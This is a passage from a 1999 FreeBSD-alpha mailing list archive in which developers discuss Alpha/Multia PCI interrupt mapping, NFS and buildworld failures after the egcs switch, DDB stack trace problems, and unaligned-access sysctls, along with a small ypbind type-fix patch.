pirqreg); #endif pirqline = (pirqreg >> (pirq * 8)) & 0xff; if ((pirqline & 0x80) != 0) panic("bad pirqline %d",pirqline); pirqline &= 0xf; -#if 0 - printf("dec_axppci_33_intr_map: device %d pin %c: mapped to line %d\n", - device, '@' + cfg->intpin, pirqline); +#ifdef DEBUG_IRQMAP + printf("dec_axppci_33_intr_map: slot %d, pin %c: mapped to line %d\n", + cfg->slot, '@' + cfg->intpin, pirqline); #endif cfg->intline = pirqline; -- Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 12 23:39:59 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 6F51914D3B; Mon, 12 Apr 1999 23:39:51 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id XAA26363; Mon, 12 Apr 1999 23:37:08 -0700 Date: Mon, 12 Apr 1999 23:37:07 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: alpha@freebsd.org Cc: dillon@freebsd.org Subject: Hmm... still NFS problems for Alpha? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org *after* the VM patch, I still get: make depend && make cc -c -nostdinc -I- -I. -I../.. -I/usr/include -DKERNEL -include opt_global.h -UKERNEL ../../alpha/alpha/genassym.c cc -static -nostdinc -I- -I. -I../.. -I/usr/include -DKERNEL -include opt_global.h genassym.o -o genassym ./genassym >assym.s Illegal instruction - core dumped *** Error code 132 Stop. farrago.feral.com > uname -a FreeBSD farrago.feral.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Mon Apr 12 23:02:43 PDT 1999 mjacob@farrago.feral.com:/tmp/sys/compile/FARRAGO alpha (same source builds in local or mfs based filesystems fine) Anybody else still having NFS problems with alpha? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 1:15: 4 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 72C4D14DBB for ; Tue, 13 Apr 1999 01:14:58 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA51065; Tue, 13 Apr 1999 09:15:42 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 13 Apr 1999 09:15:42 +0100 (BST) From: Doug Rabson To: "Gooderum, Mark" Cc: "'freebsd-alpha@freebsd.org'" Subject: RE: FreeBSD Alpha and NICs In-Reply-To: <50C732FEDE87D211954300A024786203A6B2@archeron.good.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 13 Apr 1999, Gooderum, Mark wrote: > The saga continues... > > > -----Original Message----- > > From: Doug Rabson [mailto:dfr@nlsystems.com] > > Sent: Saturday, April 10, 1999 12:35 PM > > To: Gooderum, Mark > > Cc: 'freebsd-alpha@freebsd.org' > > Subject: Re: FreeBSD Alpha and NICs > > > > > > On Fri, 9 Apr 1999, Gooderum, Mark wrote: > > > >> ... > > > > I fixed a bug in subr_rman.c where more than two clients attempted to > > share a resource. Can you check that you have version 1.5 of > > subr_rman.c > > The 3/26 snapshot has V1.4, however, the copy of current I've been building > has V1.5. > > But I was stubborn and bored and got curious...first I went snooping and > found dec_axppci_33_intr_map() in dec_axppci_33.c. A minor fix to some > debugging code gave me the following information: > > ... > Probing for devices on PCI bus 0: > dec_axppci_33_intr_map: slot 6, pin A: pirq 3, reg = b0f0f0a > dec_axppci_33_intr_map: slot 6, pin A: mapped to line 11 > ncr0: rev 0x01 int a irq 11 on pci0.6.0 > chip0: rev 0x03 on pci0.7.0 > dec_axppci_33_intr_map: slot 8, pin A: pirq 2, reg = b0f0f0a > dec_axppci_33_intr_map: slot 8, pin A: mapped to line 15 > de0: rev 0x23 int a irq 15 on pci0.8.0 > de0: DEC 21040 [10Mb/s] pass 2.3 > de0: address 08:00:2b:e2:c7:eb > dec_axppci_33_intr_map: slot 11, pin A: pirq 0, reg = b0f0f0a > dec_axppci_33_intr_map: slot 11, pin A: mapped to line 10 > dec_axppci_33_intr_map: slot 12, pin A: pirq 1, reg = b0f0f0a > dec_axppci_33_intr_map: slot 12, pin A: mapped to line 15 > pn0: <82c168/82c169 PNIC 10/100BaseTX> rev 0x21 int a irq 15 on pci0.12.0 > > fatal kernel trap: > ... > > Tracing things out, each slot corresponds to one byte in the > SIO_PCIREG_PIRQ_RTCTRL PCI config register. The mapping of which slot to > which byte is based on some magic number (pirq) that is calculated based on > the slot number and the "intpin" PCI config value. (Whatever the magic is, > the 2100 machine code has it in common). > > BTW...the "mystery" device in slot 11 has a vendor ID of 0041011 and a rev > of 03800002 according to sniff_pci_bus in the SRM console, not sure what it > is, the builtin IDE interface? > > I got similar results with both a second DEC Ethernet and with a Netgear > card. > > The pirqreg value is 0x0b0f0f0a. Going by the bit logic and code, this > works out to IRQ 11 (0b) for ncr0, IRQ 15 for de0 and de1 and/or pn0, and > IRQ 10 for the mystery device in slot 11. > > Earlier I hacked kern_intr.c and pci_compat.c to gracefully return errors > all the way back to xx_attach()instead of falling through and dereferencing > NULL pointers. This allowed the box to boot but would cause a lockup (if > 2nd card another DEC card) or a panic (if 2nd card the Netgear card) which > sort of makes sense. > > So feeling really, really bored with what I should be working on... > > I modified dec_axppci_33_intr_map() with a rude hack (see below) to force > changing the the PCI/IRQ mapping config register to give the 2nd Ethernet > card a seperate IRQ, and viola, the system boots, the card probes, it can be > ifconfiged, etc. > > However, trying to use the card fails. Basically the arp never succeeds. I > haven't gone so far as to sniff to see if the packet is making it onto the > wire. The Netgear card gives an occaisional watchdog timer error, the DEC > based (21140) card gives nothing. Doing an ifconfig shows that the media > autosense for both cards worked properly (whether 10BaseT or 100BaseTX). So > the card on the original IRQ works and the remapped one doesn't quite. > > So, next step was to change the hack to force the IRQ on the builtin > interface instead of the 2nd interface. I did this on the 2nd card and it > seems to work, so again, the remapped card doesn't. So the card functions, > but my hack to rewrite the PCI config register isn't enough to change the > mapping. I made one more try w/forceing to IRQ 5 but gave a panic right > after the remapped interface was ifconfig'ed. > > So that's how far I am. I don't know if there are any references on the > Alpha and/or Multia architechure. Unfortunately there is no SRM analouge > for isacfg like pcicfg. > > Also I can't think of any elegant general work around, the system seems to > just plain come up with the cards configured to a shared IRQ - which FreeBSD > just doesn't tolerate. By the looks of it, your workaround modifications to the IRQ mapping haven't hit the right part of the mutlia hardware. The watchdog etc. symptoms sound exactly light missed interrupts. FreeBSD should support shared interrupts. Can I ask you to turn on RMAN_DEBUG in subr_rman.c to get some (extremely verbose) debugging logs of the irq resource allocation. I have a tarball of some mutlia hardware documentation if you are interested... -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 2:31:45 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mailc.telia.com (mailc.telia.com [194.22.190.4]) by hub.freebsd.org (Postfix) with ESMTP id 0A5E914C1B for ; Tue, 13 Apr 1999 02:31:30 -0700 (PDT) (envelope-from khaled@mailbox.telia.net) Received: from mailbox.telia.net (khaled@mailbox.telia.net [194.237.170.234]) by mailc.telia.com (8.8.8/8.8.8) with ESMTP id LAA14627 for ; Tue, 13 Apr 1999 11:29:09 +0200 (CEST) Received: from localhost (khaled@localhost) by mailbox.telia.net (8.9.1/8.8.5) with SMTP id LAA19708 for ; Tue, 13 Apr 1999 11:29:14 +0200 (CEST) Date: Tue, 13 Apr 1999 11:29:14 +0200 (CEST) From: Khaled Daham To: freebsd-alpha@freebsd.org Subject: make buildworld , failed. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I downloaded the 4.0-19990316 src a while ago. now when i try to make buildworld it fails with these lines In file included from /usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-e mit.c:29: /usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/rtl.h:796: warning: `enum reg_class' declared inside parameter list /usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/rtl.h:796: warning: its sc ope is only this definition or declaration, /usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/rtl.h:796: warning: which is probably not what you want. /usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/rtl.h:796: warning: parame ter has incomplete type /usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-emit.c: In function `bc _initialize': /usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-emit.c:432: `BITS_PER_U NIT' undeclared (first use this function) /usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-emit.c:432: (Each undec lared identifier is reported only once /usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-emit.c:432: for each fu nction it appears in.) /usr/src/gnu/usr.bin/cc/cc_int/../../../../contrib/gcc/bc-emit.c:436: `BITS_PER_W ORD' undeclared (first use this function) *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. *** Error code 1 Stop. Any hints ? /Khaled, Telia Network Services Mail: khaled@telia.net Cell: 070-6785492 Work: 08-4567281 :hacker: /n./ [originally, someone who makes furniture with an axe] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 2:55: 2 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id C524514D5D for ; Tue, 13 Apr 1999 02:54:58 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id KAA53659; Tue, 13 Apr 1999 10:56:33 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 13 Apr 1999 10:56:33 +0100 (BST) From: Doug Rabson To: Khaled Daham Cc: freebsd-alpha@freebsd.org Subject: Re: make buildworld , failed. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 13 Apr 1999, Khaled Daham wrote: > I downloaded the 4.0-19990316 src a while ago. > now when i try to make buildworld it fails with these lines Can you retry with today's current. We no longer have gcc in the tree since we have switch over to egcs. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 3:35:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mailc.telia.com (mailc.telia.com [194.22.190.4]) by hub.freebsd.org (Postfix) with ESMTP id 0318C14C1C for ; Tue, 13 Apr 1999 03:35:29 -0700 (PDT) (envelope-from khaled@mailbox.telia.net) Received: from mailbox.telia.net (khaled@mailbox.telia.net [194.237.170.234]) by mailc.telia.com (8.8.8/8.8.8) with ESMTP id MAA20546; Tue, 13 Apr 1999 12:33:09 +0200 (CEST) Received: from localhost (khaled@localhost) by mailbox.telia.net (8.9.1/8.8.5) with SMTP id MAA27346; Tue, 13 Apr 1999 12:33:14 +0200 (CEST) Date: Tue, 13 Apr 1999 12:33:13 +0200 (CEST) From: Khaled Daham To: Doug Rabson Cc: freebsd-alpha@freebsd.org Subject: Re: make buildworld , failed. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I could .. one thing i didnt find freebsd-elf.h on my system . hm the tag is *default release=cvs tag=. right ? well ill give it a shot. On Tue, 13 Apr 1999, Doug Rabson wrote: > On Tue, 13 Apr 1999, Khaled Daham wrote: > > > I downloaded the 4.0-19990316 src a while ago. > > now when i try to make buildworld it fails with these lines > > Can you retry with today's current. We no longer have gcc in the tree > since we have switch over to egcs. > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > /Khaled, Telia Network Services Mail: khaled@telia.net Cell: 070-6785492 Work: 08-4567281 :hacker: /n./ [originally, someone who makes furniture with an axe] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 4:22:53 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id 6CC0014BFD for ; Tue, 13 Apr 1999 04:22:50 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 63593 invoked from network); 13 Apr 1999 11:20:31 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 13 Apr 1999 11:20:31 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id 713C12DAAF; Tue, 13 Apr 1999 20:20:30 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id UAA69192; Tue, 13 Apr 1999 20:20:16 +0900 (JST) Date: Tue, 13 Apr 1999 20:20:15 +0900 Message-ID: <14099.10351.647510.43847V@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: dfr@nlsystems.com Cc: gallatin@cs.duke.edu, freebsd-alpha@FreeBSD.ORG, obrien@NUXI.com Subject: Re: EGCS and Alpha builds In-Reply-To: In your message of "Sun, 11 Apr 1999 19:26:49 +0100 (BST)" References: <14093.49624.806904.69287I@ett.sat.t.u-tokyo.ac.jp> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > > I'm going to make world/kernel with '-Os -mcpu=ev56'. > > That might be interesting.. I couldn't finish make world with '-Os -mcpu=ev56" because bison run forever. And the kernel built with the option was unstable. But make world/kernel with '-O2 -mcpu=ev56' seems to work fine. BTW, I have trouble with stack trace in GDB/DDB. I think you can reproduce the problem easily in DDB. [send break] Stopped at siointr1+0xcc: br zero,siointr1+0x1fc db> trace siointr1() at siointr1+0xcc siointr() at siointr+0x14 siointr() at siointr+0x14 siointr() at siointr+0x14 siointr() at siointr+0x14 siointr() at siointr+0x14 siointr() at siointr+0x14 ... [continue forever until you reset the machine] Stack frame might be changed in egcs, but I don't know how to fix. /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 7:52: 5 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 0AD7D15306; Tue, 13 Apr 1999 07:52:02 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id KAA15482; Tue, 13 Apr 1999 10:49:38 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id KAA48444; Tue, 13 Apr 1999 10:49:36 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 13 Apr 1999 10:49:36 -0400 (EDT) To: Hidetoshi Shimokawa Cc: freebsd-alpha@freebsd.org Subject: new sigbus sysctls X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14099.22168.564896.120284@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It is good to see the new unaligned access handling sysctl's! However, I don't think they are being initialized the way you intended.. On a freshly booted system: broil# sysctl -a | grep unaligned machdep.unaligned_print: 0 machdep.unaligned_fix: 0 machdep.unaligned_sigbus: 0 I'm not sure why unaligned_print & unaligned_fix are off (I suspect they aren't really being initialized). Having them off causes ypbind to die with a bus error.. For now, I've initialized them in the variable declarations to restore the previous behaviour. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 8: 1:13 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 5BA1C15368; Tue, 13 Apr 1999 08:01:05 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id KAA15669; Tue, 13 Apr 1999 10:58:45 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id KAA48472; Tue, 13 Apr 1999 10:58:43 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 13 Apr 1999 10:58:43 -0400 (EDT) To: mjacob@feral.com Cc: alpha@FreeBSD.ORG, dillon@FreeBSD.ORG Subject: Re: Hmm... still NFS problems for Alpha? In-Reply-To: References: X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14099.23071.173949.334509@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Matthew Jacob writes: > > *after* the VM patch, I still get: > > make depend && make > cc -c -nostdinc -I- -I. -I../.. -I/usr/include -DKERNEL -include > opt_global.h -UKERNEL ../../alpha/alpha/genassym.c > cc -static -nostdinc -I- -I. -I../.. -I/usr/include -DKERNEL -include > opt_global.h genassym.o -o genassym > ./genassym >assym.s > Illegal instruction - core dumped > *** Error code 132 > > Stop. > farrago.feral.com > uname -a > FreeBSD farrago.feral.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Mon Apr 12 > 23:02:43 PDT 1999 mjacob@farrago.feral.com:/tmp/sys/compile/FARRAGO > alpha > > (same source builds in local or mfs based filesystems fine) > > > Anybody else still having NFS problems with alpha? If the VM patch you mean is #if'ing out the pmap_zero_page_area() calls in vm_page_set_validclean(), then no. I've just built one kernel on a client with the patch, running -current as of 5am EDT. The build directory was clean, and mounted (along with all of /usr/src) from a 300Mhz PII server running FreeBSD-current as of March 25th or so. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 8:10:54 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from gate.keisu.t.u-tokyo.ac.jp (ns06.t.u-tokyo.ac.jp [133.11.68.1]) by hub.freebsd.org (Postfix) with SMTP id 52D1415269 for ; Tue, 13 Apr 1999 08:10:51 -0700 (PDT) (envelope-from simokawa@sat.t.u-tokyo.ac.jp) Received: (qmail 64674 invoked from network); 13 Apr 1999 15:08:32 -0000 Received: from sylph.sat.t.u-tokyo.ac.jp (10.6.1.20) by ns06.t.u-tokyo.ac.jp with SMTP; 13 Apr 1999 15:08:32 -0000 Received: from ett.sat.t.u-tokyo.ac.jp (ett.sat.t.u-tokyo.ac.jp [10.6.1.30]) by sylph.sat.t.u-tokyo.ac.jp (Postfix) with ESMTP id DA6ED2DAAF; Wed, 14 Apr 1999 00:08:31 +0900 (JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id AAA70151; Wed, 14 Apr 1999 00:08:18 +0900 (JST) Date: Wed, 14 Apr 1999 00:08:17 +0900 Message-ID: <14099.24033.444968.89342C@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: gallatin@cs.duke.edu Cc: simokawa@FreeBSD.ORG, freebsd-alpha@FreeBSD.ORG Subject: Re: new sigbus sysctls In-Reply-To: In your message of "Tue, 13 Apr 1999 10:49:36 -0400 (EDT)" <14099.22168.564896.120284@grasshopper.cs.duke.edu> References: <14099.22168.564896.120284@grasshopper.cs.duke.edu> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > > > It is good to see the new unaligned access handling sysctl's! > However, I don't think they are being initialized the way you > intended.. On a freshly booted system: > > broil# sysctl -a | grep unaligned > machdep.unaligned_print: 0 > machdep.unaligned_fix: 0 > machdep.unaligned_sigbus: 0 > > I'm not sure why unaligned_print & unaligned_fix are off (I suspect > they aren't really being initialized). Having them off causes ypbind to die > with a bus error.. For now, I've initialized them in the variable > declarations to restore the previous behaviour. Oops, sorry. In my running kernel, they are initialized, but I removed it just before I commit it because I thought SYSCTL_INT will initialize them X-<. It must be wrong. I will commit the fix to restore previous behaviour. I have ypbind patch, I should commit this too... /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp Index: ypbind.c =================================================================== RCS file: /pub/FreeBSD-CVS/src/usr.sbin/ypbind/ypbind.c,v retrieving revision 1.28 diff -u -r1.28 ypbind.c --- ypbind.c 1999/02/10 20:04:22 1.28 +++ ypbind.c 1999/02/11 13:08:06 @@ -230,7 +230,7 @@ res.ypbind_status = YPBIND_SUCC_VAL; res.ypbind_resp_u.ypbind_error = 0; /* Success */ - *(u_long *)&res.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_addr = + *(u_int32_t *)&res.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_addr = ypdb->dom_server_addr.sin_addr.s_addr; *(u_short *)&res.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_port = ypdb->dom_server_addr.sin_port; @@ -283,7 +283,7 @@ bzero((char *)&bindsin, sizeof bindsin); bindsin.sin_family = AF_INET; - bindsin.sin_addr.s_addr = *(u_long *)argp->ypsetdom_binding.ypbind_binding_addr; + bindsin.sin_addr.s_addr = *(u_int32_t *)argp->ypsetdom_binding.ypbind_binding_addr; bindsin.sin_port = *(u_short *)argp->ypsetdom_binding.ypbind_binding_port; rpc_received(argp->ypsetdom_domain, &bindsin, 1); @@ -946,7 +946,7 @@ bzero(&ybr, sizeof ybr); ybr.ypbind_status = YPBIND_SUCC_VAL; - *(u_long *)&ybr.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_addr = raddrp->sin_addr.s_addr; + *(u_int32_t *)&ybr.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_addr = raddrp->sin_addr.s_addr; *(u_short *)&ybr.ypbind_resp_u.ypbind_bindinfo.ypbind_binding_port = raddrp->sin_port; if( writev(ypdb->dom_lockfd, iov, 2) != iov[0].iov_len + iov[1].iov_len) { To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 9: 5:20 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 737A01557A; Tue, 13 Apr 1999 09:05:13 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id JAA28060; Tue, 13 Apr 1999 09:02:28 -0700 Date: Tue, 13 Apr 1999 09:02:28 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: Andrew Gallatin Cc: alpha@FreeBSD.ORG, dillon@FreeBSD.ORG Subject: Re: Hmm... still NFS problems for Alpha? In-Reply-To: <14099.23071.173949.334509@grasshopper.cs.duke.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > *after* the VM patch, I still get: > > > > make depend && make > > cc -c -nostdinc -I- -I. -I../.. -I/usr/include -DKERNEL -include > > opt_global.h -UKERNEL ../../alpha/alpha/genassym.c > > cc -static -nostdinc -I- -I. -I../.. -I/usr/include -DKERNEL -include > > opt_global.h genassym.o -o genassym > > ./genassym >assym.s > > Illegal instruction - core dumped > > *** Error code 132 > > > > Stop. > > farrago.feral.com > uname -a > > FreeBSD farrago.feral.com 4.0-CURRENT FreeBSD 4.0-CURRENT #0: Mon Apr 12 > > 23:02:43 PDT 1999 mjacob@farrago.feral.com:/tmp/sys/compile/FARRAGO > > alpha > > > > (same source builds in local or mfs based filesystems fine) > > > > > > Anybody else still having NFS problems with alpha? > > If the VM patch you mean is #if'ing out the pmap_zero_page_area() > calls in vm_page_set_validclean(), then no. I've just built one > kernel on a client with the patch, running -current as of 5am EDT. > The build directory was clean, and mounted (along with all of > /usr/src) from a 300Mhz PII server running FreeBSD-current as of March > 25th or so. > Hmm. I wonder what's going on then? Well, I'll look at it again tonite... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 10:28:57 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 3C3CA15742; Tue, 13 Apr 1999 10:28:54 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id NAA18892; Tue, 13 Apr 1999 13:26:33 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id NAA48873; Tue, 13 Apr 1999 13:26:31 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 13 Apr 1999 13:26:30 -0400 (EDT) To: Hidetoshi Shimokawa Cc: simokawa@FreeBSD.ORG, freebsd-alpha@FreeBSD.ORG Subject: Re: new sigbus sysctls In-Reply-To: <14099.24033.444968.89342C@ett.sat.t.u-tokyo.ac.jp> References: <14099.22168.564896.120284@grasshopper.cs.duke.edu> <14099.24033.444968.89342C@ett.sat.t.u-tokyo.ac.jp> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14099.32213.2312.922328@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hidetoshi Shimokawa writes: > > I'm not sure why unaligned_print & unaligned_fix are off (I suspect > > they aren't really being initialized). Having them off causes ypbind to die > > with a bus error.. For now, I've initialized them in the variable > > declarations to restore the previous behaviour. > > Oops, sorry. In my running kernel, they are initialized, but > I removed it just before I commit it because I thought SYSCTL_INT > will initialize them X-<. It must be wrong. I will commit > the fix to restore previous behaviour. > I think its supposed to, but I'm not familiar enough with the interface to know for certain. As I said before, I'm glad you're tacking these (alignment, other userland) issues. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 13 10:47:28 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id A52A214D0A for ; Tue, 13 Apr 1999 10:47:26 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) 